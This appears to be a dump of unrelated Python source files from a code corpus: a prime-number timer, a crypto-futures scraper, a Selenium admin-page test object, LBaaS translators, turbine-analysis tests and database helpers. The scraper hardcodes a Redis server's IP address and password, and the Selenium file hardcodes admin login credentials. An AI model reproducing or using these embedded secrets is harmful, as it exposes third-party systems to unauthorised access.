<= sqrt(number) : # If the divisor is greater than the square root of the number, then it cant divide the number\n\t\tif number%divisor == 0 : # If the number can be divide by the divisor, then the number is not a prime\n\t\t\treturn False\n\t\t\n\t\tdivisor += incValue\n\t\tincValue = 6 - incValue\n\t\n\treturn True\n\nif __name__ == '__main__': \n\t# The main is doing a speed test of the \"isPrime\" function\n\t\n\tprint(f\"{Fore.BLUE}\\n =============================== Prime speed test ==============================\")\n\tprint(f\" This is a speed test for a function that determines if a number is prime or not {Style.RESET_ALL}\")\n\t\n\twhile True :\n\t\ttry :\n\t\t\tminNumber = int(input(f\"{Fore.YELLOW}\\n Min number : {Style.RESET_ALL}\")) # The min number which the program will tests\n\t\t\tmaxNumber = int(input(f\"{Fore.YELLOW}\\n Max number : {Style.RESET_ALL}\")) # The max number which the program will tests\n\n\t\t\tif maxNumber < minNumber :\n\t\t\t\traise Exception(f\"{Fore.RED} The max number have to be greater than the minimum !{Style.RESET_ALL}\")\n\t\t\tbreak;\n\t\texcept ValueError as e:\n\t\t\tprint(f\"{Fore.RED} Please type a correct number !{Style.RESET_ALL}\")\n\t\t\tcontinue\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\t\t\tcontinue\n\t\t\t\n\n\ttimer = clock() # Start of the timer\n\n\tnumber = minNumber\n\tincPrime = 0 # The total number of prime\n\n\twhile number <= maxNumber : \n\t\tif isPrime(number) == True : \n\t\t\tincPrime += 1 # Increments the total number of prime if the number is a prime\n\t\tnumber += 1 # Increments the actual number\n\n\t\n\ttimer = round(clock() - timer, 2) # End of the timer\n\n\tprint(f\"\\n{Fore.BLUE} Time : {Style.RESET_ALL}{timer}\") # Print the time that has been taken to perform the task\n\tprint(f\"{Fore.BLUE} Number of prime number between {minNumber} and {maxNumber} : {Style.RESET_ALL}{incPrime}\") # Print the total of prime number which have been found sub the max\n\n\tprint(f\"\"\"\\n{Fore.GREEN} 'Mathematicians have tried in vain to this day to discover some order in the sequence of prime numbers, \n and we have reason to believe that it is a mystery into which the human mind will never penetrate.', Leonhard Euler\\n{Style.RESET_ALL}\"\"\") # A quote about prime number :)\n\n\n","sub_path":"prime.py","file_name":"prime.py","file_ext":"py","file_size_in_byte":3011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"448061113","text":"import requests\nimport time\nimport json\nimport redis\nfrom loguru import logger\nimport random\n\n\n# # BTC结算合约\n# btc_usd_url = \"https://fx-api.gateio.ws/api/v4/futures/btc/contracts/BTC_USD\"\n# # USDT结算合约\n# btc_usdt_url = \"https://fx-api.gateio.ws/api/v4/futures/usdt/contracts/BTC_USDT\"\n# # BTC/USDT 现货价\n# btc_spot_url = \"https://data.gateio.life/api2/1/ticker/btc_usdt\"\n\nclass GateSpider(object):\n def __init__(self):\n self.btc_url = \"https://fx-api.gateio.ws/api/v4/futures/btc/contracts\"\n self.usdt_url = \"https://fx-api.gateio.ws/api/v4/futures/usdt/contracts\"\n self.redis_connect = redis.Redis(\n host='47.107.228.85',\n port=6379,\n db=0,\n password=\"20ab20!2#Spider!alxmH\"\n )\n\n def send_request(self):\n while True:\n try:\n ts = int(time.time())\n if ts % 60 != 0:\n time.sleep(0.9)\n continue\n\n data_list = requests.get(self.btc_url).json()\n data_list += requests.get(self.usdt_url).json()\n self.parse_data(data_list, ts)\n\n logger.info(\"采集结束,一分钟后再次采集...\")\n time.sleep(20)\n except Exception as e:\n logger.error(e)\n logger.error(\"正在重新发送请求...\")\n\n\n def parse_data(self, data_list, ts):\n for data in data_list:\n if 'BTC' in data.get(\"name\"):\n item = {}\n item['Time'] = ts\n item['Title'] = \"SWAP\"\n item['Pair1'] = \"BTC\"\n item['Volume'] = int(data['position_size'])\n\n if data.get('name') == 'BTC_USD':\n item['Pair2'] = \"USD\"\n item['Usd'] = item['Volume']\n\n elif data.get('name') == 'BTC_USDT':\n item['Pair2'] = \"USDT\"\n item['Usd'] = int(item['Volume'] * float(data.get(\"quanto_multiplier\")) * float(data.get(\"index_price\")))\n\n redis_key_name = \"gate-io:futures:open_interest:{}_{}_{}\".format(item[\"Pair1\"], item[\"Pair2\"], item['Title'])\n while True:\n try:\n self.redis_connect.lpush(redis_key_name, json.dumps(item))\n logger.info(f\"push: {item}\")\n break\n except:\n logger.error(\"数据库存储失败,正在重试...\")\n\n def main(self):\n self.send_request()\n\nif __name__ == \"__main__\":\n spider = GateSpider()\n spider.main()\n","sub_path":"contract_open_interest/gate_contract_open_interest.py","file_name":"gate_contract_open_interest.py","file_ext":"py","file_size_in_byte":2634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"285790254","text":"# -*- coding: utf-8 -*-\nimport os\nimport sys\nprint(os.getcwd())\nos.chdir('D:\\DRL\\PyTest\\Head_First_Python3/chapter')\nprint(os.getcwd())\nprint('----------------------------------------')\n\n\n# 定义一个print_lol函数,列表显示数据\ndef print_lol(the_list, indent=False, level=0, fh=sys.stdout):\n for each_item in the_list:\n if isinstance(each_item, list):\n print_lol(each_item, indent, level + 1, fh)\n else:\n if indent:\n for tab_stop in range(level):\n print('\\t', end='', file=fh)\n print(each_item, file=fh)\n\n\nman = []\nother = []\ntry:\n data = open('sketch.txt')\n for each_line in data:\n try:\n (role, line_spoken) = each_line.split(':', 1)\n line_spoken = line_spoken.strip()\n if role == 'Man':\n man.append(line_spoken)\n elif role == 'Other Man':\n other.append(line_spoken)\n except ValueError:\n pass\n data.close()\nexcept IOError:\n print('文件不存在!')\n\n# 使用print_lol函数打印显示\ntry:\n man_file = open('man_data.txt', 'w')\n other_file = open('other_data.txt', 'w')\n print(man, file=man_file)\n print(other, file=other_file)\n man_file.close()\n other_file.close()\nexcept IOError:\n print('文件错误!')\nfinally:\n man_file.close()\n other_file.close()\nprint()\n","sub_path":"Head_First_Python3/11.文本格式.py","file_name":"11.文本格式.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"272433791","text":"# Copyright 2018 VMware, Inc.\n# All Rights Reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom oslo_log import log as logging\n\nLOG = logging.getLogger(__name__)\n\n\ndef lb_hm_obj_to_dict(hm):\n # Translate the LBaaS HM to a dictionary skipping the pool object to avoid\n # recursions\n hm_dict = hm.to_dict(pool=False)\n # Translate the pool separately without it's internal objects\n if hm.pool:\n hm_dict['pool'] = lb_pool_obj_to_dict(hm.pool, with_listeners=False)\n return hm_dict\n\n\ndef lb_listener_obj_to_dict(listener):\n # Translate the LBaaS listener to a dictionary skipping the some objects\n # to avoid recursions\n listener_dict = listener.to_dict(loadbalancer=False, default_pool=False)\n\n # Translate the default pool separately without it's internal objects\n if listener.default_pool:\n listener_dict['default_pool'] = lb_pool_obj_to_dict(\n listener.default_pool, with_listeners=False)\n else:\n listener_dict['default_pool'] = None\n\n if listener.loadbalancer:\n listener_dict['loadbalancer'] = lb_loadbalancer_obj_to_dict(\n listener.loadbalancer)\n else:\n listener_dict['loadbalancer'] = None\n return listener_dict\n\n\ndef lb_pool_obj_to_dict(pool, with_listeners=True):\n # Translate the LBaaS pool to a dictionary skipping the some objects\n # to avoid recursions\n pool_dict = pool.to_dict(listeners=False, listener=False)\n if with_listeners:\n # Translate the listener/s separately without it's internal objects\n if pool.listener:\n pool_dict['listener'] = lb_listener_obj_to_dict(pool.listener)\n else:\n pool_dict['listener'] = None\n pool_dict['listeners'] = []\n if pool.listeners:\n for listener in pool.listeners:\n pool_dict['listeners'].append(\n lb_listener_obj_to_dict(listener))\n return pool_dict\n\n\ndef lb_loadbalancer_obj_to_dict(loadbalancer):\n return loadbalancer.to_dict()\n\n\ndef lb_member_obj_to_dict(member):\n # Translate the LBaaS member to a dictionary skipping the some objects\n # to avoid recursions\n member_dict = member.to_dict(pool=False)\n # Add the pool dictionary (with its listeners and loadbalancer)\n if member.pool:\n member_dict['pool'] = lb_pool_obj_to_dict(member.pool)\n else:\n member_dict['pool'] = None\n return member_dict\n\n\ndef lb_l7policy_obj_to_dict(l7policy):\n # Translate the LBaaS L7 policy to a dictionary skipping the some objects\n # to avoid recursions\n l7policy_dict = l7policy.to_dict(listener=False, rules=False)\n # Add the listener dictionary\n if l7policy.listener:\n l7policy_dict['listener'] = lb_listener_obj_to_dict(l7policy.listener)\n else:\n l7policy_dict['listener'] = None\n # Add the rules\n l7policy_dict['rules'] = []\n if l7policy.rules:\n for rule in l7policy.rules:\n l7policy_dict['rules'].append(\n lb_l7rule_obj_to_dict(rule, with_policy=False))\n\n return l7policy_dict\n\n\ndef lb_l7rule_obj_to_dict(l7rule, with_policy=True):\n # Translate the LBaaS L7 rule to a dictionary skipping the some objects\n # to avoid recursions\n l7rule_dict = l7rule.to_dict(policy=False)\n # Add the policy dictionary\n if with_policy:\n l7rule_dict['policy'] = lb_l7policy_obj_to_dict(l7rule.policy)\n else:\n l7rule_dict['policy'] = None\n return l7rule_dict\n","sub_path":"vmware_nsx/services/lbaas/lb_translators.py","file_name":"lb_translators.py","file_ext":"py","file_size_in_byte":3979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"532494751","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom ICA_noise import FastICA\nimport pandas as pd\nfrom sklearn.model_selection import cross_val_score\n\nmydata = pd.read_csv(\"./dataset/personality/UKDA-7656-tab/tab/bbc_individual_level_data_file.tab\", sep=\"\\t\")\n\nY = mydata.as_matrix()\nX = Y[:, 34:78]\n\nnc = np.arange(2, 20, 3)\n\n\ndef compute_score(X):\n ica = FastICA(algorithm='deflation')\n scores = []\n\n for n in nc:\n ica.n_components = n\n scores.append(np.mean(cross_val_score(ica, X)))\n return scores\n\n\nica_scores = compute_score(X)\nn_components_ica = nc[np.argmax(ica_scores)]\n\nprint(\"best n_components by ICA = %d\" % n_components_ica)\nprint(ica_scores)\n\n\nplt.figure()\nplt.plot(nc, ica_scores, 'y', label='ICA Score')\nplt.axvline(n_components_ica, color='b', label='ICA CV: %d' % n_components_ica, linestyle='--')\nplt.axvline(5, color='r', label='Truth', linestyle='--')\nplt.xlabel('nb of components')\nplt.ylabel('CV scores')\nplt.legend(loc='lower right')\nplt.title('ICA Model Selection')\nplt.savefig('./figures/ICA_optimal#ICs.pdf')\nplt.show()","sub_path":"ICA_model_selection.py","file_name":"ICA_model_selection.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"283452451","text":"# -*- coding: utf-8 -*-\nimport os\nimport urllib\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.select import Select\nfrom selenium.webdriver.common.keys import Keys\nfrom time import sleep\nfrom .base import Page\n\nclass scanmas(Page):\n\n url = \"/admin/scanner\"\n\n scanmas_search_id_loc = (By.XPATH,'//*[@id=\"epoque-search\"]/div/div/div[1]/input')#扫描仪编号\n scanmas_search_model_loc = (By.XPATH,'//*[@id=\"epoque-search\"]/div/div/div[2]/input')#扫描仪型号\n scanmas_search_model_name_loc = (By.XPATH,'//*[@id=\"epoque-search\"]/div/div/div[3]/input')#型号名称\n scanmas_search_brand_loc = (By.XPATH,'//*[@id=\"epoque-search\"]/div/div/div[4]/div/div/div[1]/input')#扫描仪品牌\n scanmas_search_status_loc = (By.XPATH,'//*[@id=\"epoque-search\"]/div/div/div[5]/div/div/div[1]/input')#扫描仪状态\n scanmas_search_button_loc = (By.XPATH,'//*[@id=\"epoque-search\"]/div/div/div[6]/div[1]')#查询按钮\n scanmas_add_button_loc = (By.XPATH,'//*[@id=\"epoque-search\"]/div/div/div[6]/div[2]')#新建扫描仪档案按钮\n scanmas_export_button_loc = (By.XPATH,'//*[@id=\"epoque-search\"]/div/div/div[6]/div[3]')#导出按钮\n scanmas_edit_button_loc = (By.XPATH,'//*[@id=\"wrap\"]/div/div[2]/div/div[1]/div/div/table/tbody/tr[1]/td[6]/div/a[1]')#查看/编辑按钮\n scanmas_open_stop_button_loc = (By.XPATH,'html/body/div[1]/div[2]/div/div/div[2]/div/div[1]/div/div/table/tbody/tr[1]/td[6]/div/button')#启用/停用按钮\n scanmas_open_stop_comfirm_loc = (By.XPATH,'/html/body/div[3]/div/div/div[2]/button[2]')#启用/停用确定按钮\n scanmas_open_stop_ok_loc = (By.XPATH,'/html/body/div[3]/div/div/div[2]/button')#启用/停用ok按钮\n scanmas_delete_comfirm_loc = (By.XPATH,\"/html/body/div[3]/div/div/div[2]/button[2]\")#删除确认按钮\n scanmas_delete_ok_loc = (By.XPATH,\"/html/body/div[3]/div/div/div[2]/button\")#删除ok按钮\n scanmas_lastpage_loc = (By.XPATH,'//*[@id=\"wrap\"]/div/div[2]/div/div[3]/div/ol/li[1]/a')#上一页\n scanmas_nextpage_loc = (By.XPATH,'//*[@id=\"wrap\"]/div/div[2]/div/div[3]/div/ol/li[8]/a')#下一页\n scanmas_add_edit_model_loc = (By.XPATH,'//*[@id=\"scanner\"]/div[2]/div/input')#新增/编辑扫描仪型号\n scanmas_add_edit_model_name_loc = (By.XPATH,'//*[@id=\"scanner\"]/div[3]/div/input')#新增/编辑型号名称\n scanmas_add_edit_id_loc = (By.XPATH,'//*[@id=\"scanner\"]/div[4]/div/input')#新增/编辑扫描仪编号\n scanmas_add_edit_remark_loc = (By.XPATH,'//*[@id=\"scanner\"]/div[5]/div/textarea')#新增/编辑备注\n scanmas_add_edit_status_loc = (By.XPATH,'//*[@id=\"scanner\"]/div[6]/div/div/div[1]/div')#新增/编辑状态下拉按钮\n scanmas_info_brand = (By.XPATH,'//*[@id=\"wrap\"]/div/div[2]/div/div[1]/div/div/table/tbody/tr[1]/td[1]')#首行扫描仪品牌信息\n scanmas_info_model = (By.XPATH,'//*[@id=\"wrap\"]/div/div[2]/div/div[1]/div/div/table/tbody/tr[1]/td[2]')#首行扫描仪型号信息\n scanmas_info_model_name = (By.XPATH,'//*[@id=\"wrap\"]/div/div[2]/div/div[1]/div/div/table/tbody/tr[1]/td[3]')#首行型号名称信息\n scanmas_info_id = (By.XPATH,'//*[@id=\"wrap\"]/div/div[2]/div/div[1]/div/div/table/tbody/tr[1]/td[4]')#首行扫描仪编号信息\n scanmas_info_status = (By.XPATH,'//*[@id=\"wrap\"]/div/div[2]/div/div[1]/div/div/table/tbody/tr[1]/td[5]')#首行扫描仪状态信息\n scanmas_add_edit_save_button_loc = (By.XPATH, \"//*[@id='save-btn']\")#新增编辑扫描仪保存按钮\n scanmas_add_edit_ok_button_loc = (By.XPATH, \"/html/body/div[3]/div/div/div[2]/button\")#新增编辑扫描仪ok按钮\n\n #扫描仪编号搜索\n def scanmas_search_id(self,id):\n sleep(1)\n self.find_element(*self.scanmas_search_id_loc).clear()\n sleep(1)\n self.find_element(*self.scanmas_search_id_loc).send_keys(id)\n def search_id_success_mas(self):\n sleep(1)\n return self.find_element(*self.scanmas_info_id).text\n\n #扫描仪型号搜索\n def scanmas_search_model(self,model):\n sleep(1)\n self.find_element(*self.scanmas_search_model_loc).clear()\n sleep(1)\n self.find_element(*self.scanmas_search_model_loc).send_keys(model)\n def search_model_success_mas(self):\n sleep(1)\n return self.find_element(*self.scanmas_info_model).text\n\n #型号名称搜索\n def scanmas_search_model_name(self,model_name):\n sleep(1)\n self.find_element(*self.scanmas_search_model_name_loc).clear()\n sleep(1)\n self.find_element(*self.scanmas_search_model_name_loc).send_keys(model_name)\n def search_model_name_success_mas(self):\n sleep(1)\n return self.find_element(*self.scanmas_info_model_name).text\n\n #扫描仪品牌搜索\n def scanmas_search_brand(self):\n sleep(1)\n self.find_element(*self.scanmas_search_brand_loc).click()\n sleep(1)\n brands = self.driver.find_element_by_name('brand')\n sleep(1)\n brands.find_element_by_xpath('//*[@id=\"epoque-search\"]/div/div/div[4]/div/div/div[2]/div/div').click()\n sleep(1)\n def search_brand_success_mas(self):\n sleep(1)\n return self.find_element(*self.scanmas_info_brand).text\n\n #扫描仪状态搜索\n def scanmas_search_status(self,status):\n sleep(1)\n self.find_element(*self.scanmas_search_status_loc).click()\n sleep(1)\n statuss = self.driver.find_element_by_name('status')\n sleep(1)\n statuss.find_element_by_xpath('//*[@id=\"epoque-search\"]/div/div/div[5]/div/div/div[2]/div/div[%s]'% status).click()\n sleep(1)\n def search_status_success_mas(self):\n sleep(1)\n return self.find_element(*self.scanmas_info_status).text\n\n #下一页\n def scanmas_nextpage(self):\n sleep(1)\n self.find_element(*self.scanmas_nextpage_loc).click()\n\n #上一页\n def scanmas_lastpage(self):\n sleep(1)\n self.find_element(*self.scanmas_lastpage_loc).click()\n\n #查询按钮\n def scanmas_search_button(self):\n sleep(1)\n self.find_element(*self.scanmas_search_button_loc).click()\n\n #启用/停用按钮\n def scanmas_open_stop_button(self):\n sleep(1)\n self.find_element(*self.scanmas_open_stop_button_loc).click()\n sleep(1)\n self.find_element(*self.scanmas_open_stop_comfirm_loc).click()\n sleep(1)\n self.find_element(*self.scanmas_open_stop_ok_loc).click()\n\n # 访问扫描仪档案\n def surf_scanmas(self, username='admin', password='000000'):\n self.driver.get(\"http://bossdev.epoque.cn/login\")\n self.driver.find_element_by_id('username').clear()\n self.driver.find_element_by_id('username').send_keys(username)\n self.driver.find_element_by_id('password').clear()\n self.driver.find_element_by_id('password').send_keys(password)\n innerText = self.driver.find_element_by_id(\"code_box\").get_attribute('innerText')\n self.driver.find_element_by_xpath(\"//*[@id='code']\").send_keys(innerText)\n sleep(5)\n self.driver.find_element_by_id('login_submit').click()\n self.driver.get(\"http://bossdev.epoque.cn/admin/scanner\")\n self.open()\n\n #首行扫描仪品牌信息\n def scanmas_brand_info(self):\n sleep(1)\n return self.find_element(*self.scanmas_info_brand).text\n\n #首行扫描仪编号信息\n def scanmas_id_info(self):\n sleep(1)\n return self.find_element(*self.scanmas_info_id).text\n\n #首行扫描仪型号信息\n def scanmas_model_info(self):\n sleep(1)\n return self.find_element(*self.scanmas_info_model).text\n\n #首行扫描仪型号名称信息\n def scanmas_model_name_info(self):\n sleep(1)\n return self.find_element(*self.scanmas_info_model_name).text\n\n #首行扫描仪状态信息\n def scanmas_status_info(self):\n sleep(1)\n return self.find_element(*self.scanmas_info_status).text\n\n #新增扫描仪\n def scanmas_add(self,id,model,model_name,remark,status):\n sleep(1)\n self.find_element(*self.scanmas_add_button_loc).click()#点击新增按钮\n sleep(1)\n #状态选择\n self.find_element(*self.scanmas_add_edit_status_loc).click()\n sleep(1)\n statuss = self.driver.find_element_by_name('status')\n sleep(1)\n statuss.find_element_by_xpath('//*[@id=\"scanner\"]/div[6]/div/div/div[2]/div/div[%s]' % status).click()\n sleep(1)\n #-----------------------------------------------------------------------\n self.find_element(*self.scanmas_add_edit_id_loc).send_keys(id)#输入编号\n self.find_element(*self.scanmas_add_edit_model_name_loc).send_keys(model_name)#输入型号名称\n self.find_element(*self.scanmas_add_edit_model_loc).send_keys(model)#输入型号\n self.find_element(*self.scanmas_add_edit_remark_loc).send_keys(remark)#输入备注\n self.find_element(*self.scanmas_add_edit_save_button_loc).click()#点击保存\n self.find_element(*self.scanmas_add_edit_ok_button_loc).click()#点击ok\n\n\n #查看/编辑扫描仪\n def scanmas_edit(self,model,model_name,remark,status):\n sleep(1)\n self.find_element(*self.scanmas_edit_button_loc).click()#点击编辑按钮\n sleep(1)\n # 状态修改\n self.find_element(*self.scanmas_add_edit_status_loc).click()\n sleep(1)\n statuss = self.driver.find_element_by_name('status')\n sleep(1)\n statuss.find_element_by_xpath('//*[@id=\"scanner\"]/div[6]/div/div/div[2]/div/div[%s]' % status).click()\n sleep(1)\n # -----------------------------------------------------------------------\n self.find_element(*self.scanmas_add_edit_model_name_loc).clear()\n self.find_element(*self.scanmas_add_edit_model_name_loc).send_keys(model_name)#修改型号名称\n self.find_element(*self.scanmas_add_edit_model_loc).clear()\n self.find_element(*self.scanmas_add_edit_model_loc).send_keys(model)#修改型号\n self.find_element(*self.scanmas_add_edit_remark_loc).clear()\n self.find_element(*self.scanmas_add_edit_remark_loc).send_keys(remark)#修改备注\n self.find_element(*self.scanmas_add_edit_save_button_loc).click()#点击保存\n self.find_element(*self.scanmas_add_edit_ok_button_loc).click()#点击ok\n\n #删除扫描仪\n def scanmas_delete(self):\n sleep(1)\n self.driver.find_element_by_class_name('delete-btn').click()\n sleep(1)\n self.find_element(*self.scanmas_delete_comfirm_loc).click()\n sleep(1)\n self.find_element(*self.scanmas_delete_ok_loc).click()\n sleep(2)\n\n #导出文件\n def scanmas_export(self):\n def scanmas_cleanDir(rootdir):\n if os.path.isdir(rootdir):\n paths = os.listdir(rootdir)\n for path in paths:\n filePath = os.path.join(rootdir, path)\n if os.path.isfile(filePath):\n try:\n os.remove(filePath)\n except os.error:\n autoRun.exception(\"remove %s error.\" % filePath) # 引入logging\n elif os.path.isdir(filePath):\n if filePath[-4:].lower() == \".svn\".lower():\n continue\n shutil.rmtree(filePath, True)\n rootdir=r'C:\\Users\\lenovo\\Downloads'\n scanmas_cleanDir(rootdir)\n sleep(3)\n self.find_element(*self.scanmas_export_button_loc).click()\n sleep(3)\n if os.listdir(rootdir):\n return True","sub_path":"epoque_admin/background/test_case/page_obj/scanmasPage.py","file_name":"scanmasPage.py","file_ext":"py","file_size_in_byte":11683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"552619337","text":"import os\nimport os.path\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\nfrom analysis.init import start_functions\nfrom core.common.materials.blade_materials import GS36\nfrom core.radial_calc.geometry_results import BladeProfile, Blade\nfrom core.radial_calc.profilers import TransSoundRotorProfiler\nfrom core.radial_calc.velocity_laws import ConstantCirculationLaw\nfrom core.strength.blade_strength import DynamicBlade\nfrom postprocessing import number_insertion\nfrom postprocessing.plotting import PostProcessor\nfrom postprocessing.report_data_extraction import get_cycle_parameter_dict\n\n\ndef test_main_calculation():\n turbine_model = start_functions.get_turbine_model()\n turbine_model.solve()\n\n triangles = []\n for stage in turbine_model.stages:\n triangles.append(stage.triangle_1)\n triangles.append(stage.triangle_2)\n\n df = pd.DataFrame.from_records([triangle.__dict__() for triangle in triangles])\n\n get_stage_thermal_info = lambda stage: {\n 'T_0': stage.T_0_stag,\n 'p_0': stage.p_0_stag / 1e5\n }\n get_turbine_thermal_info = lambda turbine_model: pd.DataFrame.from_records([get_stage_thermal_info(stage) for\n stage in turbine_model.stages])\n\n print('eta_u = %.3f' % turbine_model.first_stage.eta_u)\n print('eta_t_stage = %.3f' % turbine_model.first_stage.eta_t)\n print('eta_t_stag = %.3f' % turbine_model.first_stage.eta_t_stag)\n print('eta_l = %.3f' % turbine_model.eta_l)\n\n\ndef test_profiling():\n turbine_model = start_functions.get_turbine_model()\n turbine_model.solve()\n\n rotor_profiler = TransSoundRotorProfiler(turbine_model.first_stage, 1, ConstantCirculationLaw(), ConstantCirculationLaw())\n rotor_profiler.set_stage_parameters()\n\n print(turbine_model.first_stage.stage_geometry.stator_geometry.D_blade_in_inner * 1000)\n print(turbine_model.first_stage.stage_geometry.stator_geometry.D_blade_in_outer * 1000, '\\n')\n\n print(turbine_model.first_stage.stage_geometry.rotor_geometry.delta_axial_width * 1000)\n\n\ndef test_profile_plotting():\n turbine_model = start_functions.get_turbine_model()\n turbine_model.solve()\n\n start_functions.profile_turbine_model(turbine_model)\n for h_rel in np.linspace(0, 1, 3):\n profile = BladeProfile.from_turbine_profiler(turbine_model.first_stage.rotor_profiler, h_rel)\n\n df = profile.profile_info_df\n plt.plot(df.pressure_side_x, df.pressure_side_y, color='blue')\n plt.plot(df.suction_side_x, df.suction_side_y, color='green')\n plt.plot(df.x_c, df.y_c, color='red')\n plt.scatter([profile.x_c], [profile.y_c])\n\n for h_rel in np.linspace(0, 1, 1):\n profile = BladeProfile.from_turbine_profiler(turbine_model.first_stage.stator_profiler, h_rel)\n\n df = profile.profile_info_df\n profile.translate(0, 0.08)\n\n plt.plot(df.pressure_side_x, df.pressure_side_y, color='blue')\n plt.plot(df.suction_side_x, df.suction_side_y, color='green')\n plt.plot(df.x_c, df.y_c, color='red')\n plt.scatter([profile.x_c], [profile.y_c])\n\n plt.axis('equal')\n plt.grid()\n plt.show()\n\n\ndef test_blade_plotting():\n turbine_model = start_functions.get_turbine_model()\n turbine_model.solve()\n\n start_functions.profile_turbine_model(turbine_model)\n\n blade = Blade.from_turbine_profiler(turbine_model.first_stage.rotor_profiler)\n PostProcessor.plot_blade(blade)\n\n plt.show()\n\n\ndef test_reactivity_plotting():\n turbine_model = start_functions.get_turbine_model()\n turbine_model.solve()\n\n start_functions.profile_turbine_model(turbine_model)\n\n h_rel = np.linspace(0, 1, 11)\n reactivity = turbine_model.first_stage.gas_dynamic_profiler.reactivity(h_rel)\n\n plt.plot(reactivity, h_rel)\n plt.grid()\n plt.show()\n\n\ndef test_strength_calculation():\n turbine_model = start_functions.get_turbine_model()\n turbine_model.solve()\n\n start_functions.profile_turbine_model(turbine_model)\n\n dynamic_blade = DynamicBlade.from_stage_model(turbine_model.first_stage, GS36())\n stresses = pd.Series([stress for stress in dynamic_blade.get_max_stress_list()])\n safety_factor = dynamic_blade.material.fatigue_strength / stresses\n\n plt.ylim(1, 2)\n plt.plot(safety_factor)\n plt.grid()\n plt.show()\n\n\ndef test_parameter_insertion():\n input_path = os.path.join(os.getcwd(), 'Reports', 'latex_report', 'first_doc.tex')\n output_path = os.path.join(os.getcwd(), 'Reports', 'temp', 'report.tex')\n ni = number_insertion.NumInserter(input_path=input_path, output_path=output_path,\n parameter_dict=get_cycle_parameter_dict())\n ni.process_document()\n\n\n\n\n\n","sub_path":"analysis/init/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":4749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"124782963","text":"import uuid\n\nfrom google.appengine.ext import ndb\n\nfrom models.stanzeModel import Stanza\n\n\ndef getAllStanze():\n stanze = Stanza().query().fetch()\n return stanze\n\n\ndef getStanza(stanza_id):\n stanza = Stanza().query(Stanza.stanza_id==stanza_id).fetch(1)\n return stanza\n\n\ndef insertStanza(form):\n try:\n stanza = Stanza()\n stanza.stanza_id = str(uuid.uuid4())\n stanza.nome_stanza = form['nome_stanza']\n stanza.prezzo = form['prezzo']\n stanza.numero = form['numero']\n stanza.piano = form['piano']\n stanza.put()\n return \"Stanza creata!\"\n except Exception as e:\n print(str(e))\n return \"Stanza non creata!\"\n\n\ndef editStanza(stanza_id, form):\n try:\n stanza = Stanza().query(Stanza.stanza_id==stanza_id).fetch(1)\n stanza.nome_stanza = form['nome_stanza']\n stanza.prezzo = form['prezzo']\n stanza.numero = form['numero']\n stanza.piano = form['piano']\n stanza.put()\n return \"Aggiornamento completato!\"\n except Exception as e:\n print(str(e))\n return \"Aggiornamento non completato!\"\n\n\ndef deleteStanza(stanza_id):\n try:\n Stanza.query(Stanza.stanza_id == stanza_id).fetch(1,\n keys_only=True)[0].get().key.delete()\n return \"Stanza eliminata!\"\n except Exception as e:\n print(str(e))\n return \"Eliminazione non riuscita!\"\n\n\ndef deleteAllStanza():\n try:\n ndb.delete_multi(Stanza.query().fetch(keys_only=True))\n return \"Tutte le stanze sono state eliminate!\"\n except Exception as e:\n print(str(e))\n return \"Eliminazione non riuscita!\"","sub_path":"data_acess/stanzeDA.py","file_name":"stanzeDA.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"649261942","text":"from sqlalchemy import create_engine, Column, Integer, TIMESTAMP\nfrom sqlalchemy.ext.declarative import declarative_base, declared_attr\nfrom sqlalchemy.orm import sessionmaker, scoped_session\nfrom flask import abort, jsonify\nimport sys\nfrom datetime import datetime\n\n\nclass JsonSerializer(object):\n \"\"\"\n Very simple model serializer\n \"\"\"\n def to_serializable_dict(self):\n serialized_dict = {}\n for key in self.__table__.c.keys():\n value = getattr(self, key)\n serialized_dict[key] = value.isoformat() if isinstance(value, datetime) else value\n return serialized_dict\n\n\nif 'test' in sys.argv:\n conection_string = 'sqlite:///test.db'\nelse:\n conection_string = 'sqlite:///poly_tracker.db'\n\n\ndef get_engine(*args, **kwargs):\n return create_engine(conection_string)\n\n\nclass SessionFactory(object):\n \"\"\"Db session must be shared between objects, for this reason this class\n implements singleton and Factory method in order to crate unique db session between\n objects\n \"\"\"\n _instance = None\n\n def __new__(cls, *args, **kwargs):\n if not cls._instance:\n cls._instance = super(SessionFactory, cls).__new__(cls, *args, **kwargs)\n engine = get_engine()\n sm = sessionmaker(bind=engine)\n cls._instance.session = scoped_session(sm)\n\n return cls._instance\n\n def get_session(self):\n return self.session\n\n\ndef get_session(*args, **kwargs):\n factory = SessionFactory()\n return factory.get_session()\n\n\ndef close_session():\n session = get_session()\n session.close_all()\n\n\nclass BaseManager(object):\n \"\"\"\n Base manager, every model will have this common manager that allows permorf database common operations\n \"\"\"\n def __init__(self, model, *args, **kwargs):\n self._model = model\n self.session = get_session()\n\n def filter_by(self, order_by='id', limit=500, offset=0, **kwargs):\n return self.session.query(self._model).filter_by(**kwargs).order_by(order_by).limit(limit).offset(offset)\n\n def get(self, id):\n return 